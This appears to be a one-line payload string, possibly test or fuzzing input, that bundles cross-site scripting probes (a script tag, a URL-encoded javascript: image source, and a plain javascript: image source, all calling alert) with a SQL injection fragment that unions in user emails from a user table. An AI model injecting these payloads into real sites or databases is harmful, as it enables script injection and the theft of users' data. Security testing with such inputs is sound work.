<script>alert(1)</script><IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%27%58%53%53%27%29><IMG SRC=javascript:alert('XSS')>UNION select user_email from user;